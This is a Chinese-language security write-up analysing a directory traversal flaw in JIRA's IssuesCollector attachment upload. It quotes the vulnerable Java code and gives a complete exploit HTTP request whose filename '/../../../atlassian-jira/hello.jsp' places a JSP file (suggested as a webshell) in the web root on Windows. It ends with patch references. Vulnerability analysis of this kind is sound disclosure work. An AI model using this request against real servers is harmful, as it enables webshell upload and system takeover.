首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >开源BUG跟踪平台JIRA目录遍历漏洞分析

开源BUG跟踪平台JIRA目录遍历漏洞分析

作者头像
FB客服
发布2018-02-02 15:54:30
2.1K0
发布2018-02-02 15:54:30
举报
文章被收录于专栏:FreeBufFreeBuf

作者 Taskiller

最近,一则新发布的公告报告了一个影响Jira 5.0.11和6.0.3版本的目录遍历漏洞,该漏洞在去年7月份被验证,并在接下来的几个月得以修复。

攻击方法很简单,但是潜在影响却是非常大的,该漏洞可能允许攻击者上传文件作为webshell。后文我会解决该漏洞如何通过静态分析发现,以及什么一个小细节使其只能在Windows系统上被利用。

漏洞识别

以下代码源自插件IssuesCollector,该插件使用REST api,支持上传屏幕截图文件作为附件附加到说明中。

com/atlassian/jira/collector/plugin/rest/TemporaryAttachmentsResource.java

[...]
  @POST
  @Path("multipart/{collectorId}")
  @Consumes({"multipart/form-data"})
  @Produces({"text/html"})
  public
Response attachTemporaryFileViaForm(@PathParam("collectorId")
String collectorId, @MultipartFormParam("screenshot")
Collection<filepart> fileParts) { ServiceOutcome outcome =
this.collectorService.getCollector(collectorId);
   [...]
    FilePart
filePart = (FilePart)fileParts.iterator().next();
    try
    {
     [...]
 
      TemporaryAttachment
temporaryAttachment = createTemporaryAttachment(filePart.getName(),
filePart.getContentType(), filePart.getInputStream());
      temporaryAttachmentsMonitor.add(temporaryAttachment);
      context.put("temporaryAttachment",
temporaryAttachment);
      return
Response.ok(renderTemplate("templates/rest/tempfilejson.vm",
context)).cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build();
    }
    catch
(IOException e) {
    }
    return
Response.serverError().cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build();
  }
 
  private
TemporaryAttachment createTemporaryAttachment(String fileName, String
contentType, InputStream inputStream)
  {
    File
tmpDir = AttachmentUtils.getTemporaryAttachmentDirectory();
    long
uniqueId;
    File
tempAttachmentFile;
    do
    {
      uniqueId
= getUUID();
      tempAttachmentFile
= new File(tmpDir, uniqueId + "_" + fileName);
    }
    while
(tempAttachmentFile.exists());
 
    FileOutputStream
output = null;
    try
    {
      output
= new FileOutputStream(tempAttachmentFile);
      IOUtils.copy(inputStream,
output);
      output.close();
    }
    catch
(IOException e)
    {
      IOUtils.closeQuietly(output);
      log.error("Error
creating temporary attachment", e);
      return
null;
    }
 
    return
new TemporaryAttachment(Long.valueOf(uniqueId), Long.valueOf(-1L),
tempAttachmentFile, fileName, contentType);
  }

在第31行,代码将上传的文件移动到一个临时目录中,filename的值没有任何过滤,该值由多个部分组合而成,因此可以通过客户端控制。

31 tempAttachmentFile = new File(tmpDir, uniqueId + "_" +fileName);

来源:

13 [...]createTemporaryAttachment(filePart.getName(),filePart.getContentType(), 
filePart.getInputStream());

漏洞利用

为了使文件上传到附件目录之外,可以用一个经典的目录遍历模式遍历到公共web目录的根目录(/atlassian-jira/)。在之前示例代码可以看到其并没有对文件内容进行过滤,因此可以上传一个JSP shell来获取系统权限。

POST
/rest/collectors/1.0/tempattachment/multipart/2c1ce5fa  HTTP/1.1
Host:
hackme.atlassian.net
Cookie:
atlassian.xsrf.token=BQ79-A85Q-7DOM-UMFN|e98231aaaef98a0d9dc7c52e87f4e84cf9cd3085
Connection:
keep-alive
Content-Type:
multipart/form-data;
boundary=---------------------------16266315542468
Content-Length:
345
 
-----------------------------16266315542468
Content-Disposition:
form-data; name="screenshot";
filename="/../../../atlassian-jira/hello.jsp"
Content-Type:
text/plain
 
<h1>
Hello
world!</h1>
-----------------------------16266315542468

请求中的文件名"/../../../atlassian-jira/hello.jsp"会被连结到uniqueid从而代替临时目录路径。

在Windows系统上:

C:\ProgramFiles\Atlassian\ApplicationData\JIRA\caches\tmp_attachments\6177763437089900999_/../../../atlassian-jira/hello.jsp

在Linux系统上:

/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_/../../../atlassian-jira/hello.jsp

在windows系统上路径会被规范化为"C:\Program Files\Atlassian\Application Data\JIRA\atlassian-jira\hello.jsp",之后文件被写入。换句话说,Linux系统会使用整个完整的路径,并会发现目录"/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_"根据不存在,因此无法利用。

这里可以将上传的文件替换为一个webshell。

漏洞修补

如果读者维护着一款Jira实例,应该已经接收到更新提示了,如果没有,请参考文章开头提到的公告。

参考

JIRASecurity Advisory 2014-02-26 : The official advisory

https://confluence.atlassian.com/display/JIRA/JIRA+Security+Advisory+2014-02-26

WASC:Path traversal : Complete description of the Path traversal vulnerability

http://projects.webappsec.org/w/page/13246952/Path%20Traversal

[via h3xstream]

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2014-05-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档